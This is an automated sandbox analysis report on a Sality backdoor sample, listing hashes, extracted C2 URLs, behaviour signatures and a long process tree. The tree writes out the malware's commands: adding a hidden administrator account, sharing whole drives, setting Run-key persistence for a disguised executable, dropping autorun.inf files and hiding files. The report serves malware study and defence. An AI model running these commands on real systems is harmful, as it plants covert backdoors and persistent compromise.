Analysis

  • max time kernel
    119s
  • max time network
    58s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    26-12-2024 13:03

General

  • Target

    a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe

  • Size

    272KB

  • MD5

    0e0141fe51adfab0f9bd375552f6a2a4

  • SHA1

    1087268bd2c062ecf09c91b4df50b58ced847784

  • SHA256

    a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b

  • SHA512

    339f91408efd7ed5ab5fe7e69986aff82ac7678a767bbda2056877d2f4556bc294c8aa279d9bc244e00da809091a408c6af9b373e76a916660fff0d65c3e606d

  • SSDEEP

    3072:bnLyV3kF21im+YLzLyV3IlaaU7ZDNZSM5RtHFCD7:b4QmpctvNT5f4v

Malware Config

Extracted

Family

sality

C2

http://89.119.67.154/testo5/

http://kukutrustnet777.info/home.gif

http://kukutrustnet888.info/home.gif

http://kukutrustnet987.info/home.gif

Signatures

  • Modifies firewall policy service 3 TTPs 3 IoCs
  • Modifies visibility of file extensions in Explorer 2 TTPs 15 IoCs
  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 15 IoCs
  • Sality

    Sality is backdoor written in C++, first discovered in 2003.

  • Sality family
  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Sets file to hidden 1 TTPs 9 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Windows security modification 2 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 29 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 22 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Drops autorun.inf file 1 TTPs 8 IoCs

    Malware can abuse Windows Autorun to spread further via attached volumes.

  • Hide Artifacts: Hidden Users 1 TTPs 1 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 5 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies registry class 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs
  • Views/modifies file attributes 1 TTPs 11 IoCs

Processes

  • C:\Windows\system32\taskhost.exe
    "taskhost.exe"
    1⤵
      PID:1100
    • C:\Windows\system32\Dwm.exe
      "C:\Windows\system32\Dwm.exe"
      1⤵
        PID:1148
      • C:\Windows\Explorer.EXE
        C:\Windows\Explorer.EXE
        1⤵
          PID:1180
          • C:\Users\Admin\AppData\Local\Temp\a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe
            "C:\Users\Admin\AppData\Local\Temp\a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe"
            2⤵
            • Modifies firewall policy service
            • UAC bypass
            • Windows security bypass
            • Windows security modification
            • Checks whether UAC is enabled
            • Enumerates connected drives
            • Drops autorun.inf file
            • Drops file in Program Files directory
            • Drops file in Windows directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            • System policy modification
            PID:2508
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c attrib +s +H "C:\Users\Admin\AppData\Local\Temp\a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b"
              3⤵
                PID:2556
                • C:\Windows\SysWOW64\attrib.exe
                  attrib +s +H "C:\Users\Admin\AppData\Local\Temp\a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b"
                  4⤵
                  • Sets file to hidden
                  • Views/modifies file attributes
                  PID:3604
              • C:\Windows\SysWOW64\cmd.exe
                cmd.exe /c start /b /max .
                3⤵
                  PID:2096
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /c tskill taskmagr
                  3⤵
                    PID:2400
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd.exe /c cd C:\ & del *.lnk
                    3⤵
                      PID:2408
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /c net share SYS_C$=C:\
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:2540
                      • C:\Windows\SysWOW64\net.exe
                        net share SYS_C$=C:\
                        4⤵
                        • System Location Discovery: System Language Discovery
                        PID:3696
                        • C:\Windows\SysWOW64\net1.exe
                          C:\Windows\system32\net1 share SYS_C$=C:\
                          5⤵
                          • System Location Discovery: System Language Discovery
                          PID:1816
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /c MKDIR "C:\Program File"
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:1812
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /c MKDIR "C:\Program File\Microsoft"
                      3⤵
                        PID:1144
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /c COPY "C:\Users\Admin\AppData\Local\Temp\a4c88d4c836badd70d87c68b5f776c110056582ceeafc72c74e88313f0231f9b.exe" "C:\Program File\Microsoft\MicrosoftSafety.exe"
                        3⤵
                        • System Location Discovery: System Language Discovery
                        PID:2124
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /c attrib +s +H "C:\Program File"
                        3⤵
                        • System Location Discovery: System Language Discovery
                        PID:2328
                        • C:\Windows\SysWOW64\attrib.exe
                          attrib +s +H "C:\Program File"
                          4⤵
                          • Sets file to hidden
                          • Views/modifies file attributes
                          PID:2344
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /c attrib +s +H "C:\Program File\Microsoft"
                        3⤵
                          PID:3000
                          • C:\Windows\SysWOW64\attrib.exe
                            attrib +s +H "C:\Program File\Microsoft"
                            4⤵
                            • Sets file to hidden
                            • Views/modifies file attributes
                            PID:3624
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd.exe /c attrib +s +H C:\C0MM
                          3⤵
                            PID:2168
                            • C:\Windows\SysWOW64\attrib.exe
                              attrib +s +H C:\C0MM
                              4⤵
                              • Sets file to hidden
                              • Views/modifies file attributes
                              PID:4036
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c attrib +s +H C:\C0MM\C0MM
                            3⤵
                              PID:2708
                              • C:\Windows\SysWOW64\attrib.exe
                                attrib +s +H C:\C0MM\C0MM
                                4⤵
                                • Sets file to hidden
                                • Views/modifies file attributes
                                PID:3656
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd.exe /c attrib -r -a C:\autorun.inf
                              3⤵
                                PID:2744
                                • C:\Windows\SysWOW64\attrib.exe
                                  attrib -r -a C:\autorun.inf
                                  4⤵
                                  • Drops autorun.inf file
                                  • Views/modifies file attributes
                                  PID:3616
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd.exe /c attrib +s +h +r C:\autorun.inf
                                3⤵
                                  PID:2748
                                  • C:\Windows\SysWOW64\attrib.exe
                                    attrib +s +h +r C:\autorun.inf
                                    4⤵
                                    • Sets file to hidden
                                    • Drops autorun.inf file
                                    • Views/modifies file attributes
                                    PID:1776
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /c cd F:\ & del *.lnk
                                  3⤵
                                    PID:2864
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd.exe /c net share SYS_F$=F:\
                                    3⤵
                                      PID:2880
                                      • C:\Windows\SysWOW64\net.exe
                                        net share SYS_F$=F:\
                                        4⤵
                                          PID:1784
                                          • C:\Windows\SysWOW64\net1.exe
                                            C:\Windows\system32\net1 share SYS_F$=F:\
                                            5⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:3116
                                      • C:\Windows\SysWOW64\cmd.exe
                                        cmd.exe /c attrib +s +H F:\C0MM
                                        3⤵
                                          PID:2624
                                          • C:\Windows\SysWOW64\attrib.exe
                                            attrib +s +H F:\C0MM
                                            4⤵
                                            • Sets file to hidden
                                            • System Location Discovery: System Language Discovery
                                            • Views/modifies file attributes
                                            PID:3632
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c attrib +s +H F:\C0MM\C0MM
                                          3⤵
                                            PID:2620
                                            • C:\Windows\SysWOW64\attrib.exe
                                              attrib +s +H F:\C0MM\C0MM
                                              4⤵
                                              • Sets file to hidden
                                              • Views/modifies file attributes
                                              PID:1660
                                          • C:\Windows\SysWOW64\cmd.exe
                                            cmd.exe /c attrib -r -a F:\autorun.inf
                                            3⤵
                                              PID:1288
                                              • C:\Windows\SysWOW64\attrib.exe
                                                attrib -r -a F:\autorun.inf
                                                4⤵
                                                • Drops autorun.inf file
                                                • System Location Discovery: System Language Discovery
                                                • Views/modifies file attributes
                                                PID:4068
                                            • C:\Windows\SysWOW64\cmd.exe
                                              cmd.exe /c attrib +s +h +r F:\autorun.inf
                                              3⤵
                                                PID:2772
                                                • C:\Windows\SysWOW64\attrib.exe
                                                  attrib +s +h +r F:\autorun.inf
                                                  4⤵
                                                  • Sets file to hidden
                                                  • Drops autorun.inf file
                                                  • Views/modifies file attributes
                                                  PID:4076
                                              • C:\Windows\SysWOW64\cmd.exe
                                                cmd.exe /c net users /add SYS_4321 passPass
                                                3⤵
                                                  PID:2640
                                                  • C:\Windows\SysWOW64\net.exe
                                                    net users /add SYS_4321 passPass
                                                    4⤵
                                                      PID:3664
                                                      • C:\Windows\SysWOW64\net1.exe
                                                        C:\Windows\system32\net1 users /add SYS_4321 passPass
                                                        5⤵
                                                          PID:2476
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      cmd.exe /c net users SYS_4321 passPass
                                                      3⤵
                                                        PID:2908
                                                        • C:\Windows\SysWOW64\net.exe
                                                          net users SYS_4321 passPass
                                                          4⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:2468
                                                          • C:\Windows\SysWOW64\net1.exe
                                                            C:\Windows\system32\net1 users SYS_4321 passPass
                                                            5⤵
                                                              PID:1320
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          cmd.exe /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v SYS_4321 /t REG_DWORD /d 0 /f
                                                          3⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:2596
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v SYS_4321 /t REG_DWORD /d 0 /f
                                                            4⤵
                                                            • Hide Artifacts: Hidden Users
                                                            PID:4060
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          cmd.exe /c net localgroup administrators /add SYS_4321
                                                          3⤵
                                                            PID:2592
                                                            • C:\Windows\SysWOW64\net.exe
                                                              net localgroup administrators /add SYS_4321
                                                              4⤵
                                                                PID:4084
                                                                • C:\Windows\SysWOW64\net1.exe
                                                                  C:\Windows\system32\net1 localgroup administrators /add SYS_4321
                                                                  5⤵
                                                                    PID:2028
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                cmd.exe /c reg add "HKEY_CLASSES_ROOT\Network\SharingHandler" /v "" /t REG_SZ /d "" /f
                                                                3⤵
                                                                  PID:2616
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    reg add "HKEY_CLASSES_ROOT\Network\SharingHandler" /v "" /t REG_SZ /d "" /f
                                                                    4⤵
                                                                    • Modifies registry class
                                                                    PID:3640
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                  3⤵
                                                                    PID:2644
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                      4⤵
                                                                      • Modifies visibility of file extensions in Explorer
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:4092
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                    3⤵
                                                                      PID:2672
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                        4⤵
                                                                        • Modifies visiblity of hidden/system files in Explorer
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:4044
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d " %homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                      3⤵
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:1788
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d " C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                        4⤵
                                                                        • Adds Run key to start application
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:1684
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      cmd.exe /c reg DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf" /f
                                                                      3⤵
                                                                      • System Network Configuration Discovery: Internet Connection Discovery
                                                                      PID:1744
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        reg DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf" /f
                                                                        4⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        • System Network Configuration Discovery: Internet Connection Discovery
                                                                        PID:2460
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" /v shutdownwithoutlogon /d 0 /t REG_DWORD /f
                                                                      3⤵
                                                                        PID:2808
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" /v shutdownwithoutlogon /d 0 /t REG_DWORD /f
                                                                          4⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:4052
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                        3⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:2060
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                          4⤵
                                                                          • Modifies visibility of file extensions in Explorer
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:624
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                        3⤵
                                                                          PID:2956
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                            4⤵
                                                                            • Modifies visiblity of hidden/system files in Explorer
                                                                            PID:2632
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                          3⤵
                                                                            PID:2652
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                              4⤵
                                                                              • Adds Run key to start application
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:2064
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                            3⤵
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:3416
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                              4⤵
                                                                              • Adds Run key to start application
                                                                              PID:2024
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                            3⤵
                                                                              PID:2784
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                4⤵
                                                                                • Modifies visibility of file extensions in Explorer
                                                                                PID:3396
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                              3⤵
                                                                                PID:2764
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                  4⤵
                                                                                  • Modifies visiblity of hidden/system files in Explorer
                                                                                  PID:2876
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                3⤵
                                                                                  PID:3768
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                    4⤵
                                                                                    • Adds Run key to start application
                                                                                    PID:2832
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                  3⤵
                                                                                    PID:3824
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                      4⤵
                                                                                      • Adds Run key to start application
                                                                                      PID:3620
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                    3⤵
                                                                                      PID:2204
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                        4⤵
                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                        PID:2316
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                      3⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:3640
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                        4⤵
                                                                                        • Modifies visiblity of hidden/system files in Explorer
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        PID:3056
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                      3⤵
                                                                                        PID:2628
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                          4⤵
                                                                                          • Adds Run key to start application
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          PID:344
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                        3⤵
                                                                                          PID:3476
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                            4⤵
                                                                                            • Adds Run key to start application
                                                                                            PID:2480
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                          3⤵
                                                                                            PID:3868
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                              4⤵
                                                                                              • Modifies visibility of file extensions in Explorer
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              PID:2636
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                            3⤵
                                                                                              PID:2848
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                                4⤵
                                                                                                • Modifies visiblity of hidden/system files in Explorer
                                                                                                • System Location Discovery: System Language Discovery
                                                                                                PID:3028
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                              3⤵
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              PID:1692
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                4⤵
                                                                                                • Adds Run key to start application
                                                                                                PID:2076
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                              3⤵
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              PID:2036
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                4⤵
                                                                                                • Adds Run key to start application
                                                                                                • System Location Discovery: System Language Discovery
                                                                                                PID:1032
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                              3⤵
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              PID:1896
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                                4⤵
                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                PID:332
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                              3⤵
                                                                                                PID:2068
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                                  4⤵
                                                                                                  • Modifies visiblity of hidden/system files in Explorer
                                                                                                  PID:3736
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                3⤵
                                                                                                • System Location Discovery: System Language Discovery
                                                                                                PID:1608
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                  4⤵
                                                                                                  • Adds Run key to start application
                                                                                                  PID:1724
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                cmd.exe /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                3⤵
                                                                                                  PID:448
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "C:\Program File\Microsoft\MicrosoftSafety.exe" /f
                                                                                                    4⤵
                                                                                                    • Adds Run key to start application
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:3004
                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                  cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                                  3⤵
                                                                                                    PID:3532
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
                                                                                                      4⤵
                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                      PID:3912
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    cmd.exe /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                                    3⤵
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:4092
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f
                                                                                                      4⤵
                                                                                                      • Modifies visiblity of hidden/system files in Explorer
                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                      PID:3164
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Microsoft /d "%homedrive%\Program File\Microsoft\MicrosoftSafety.exe" /f
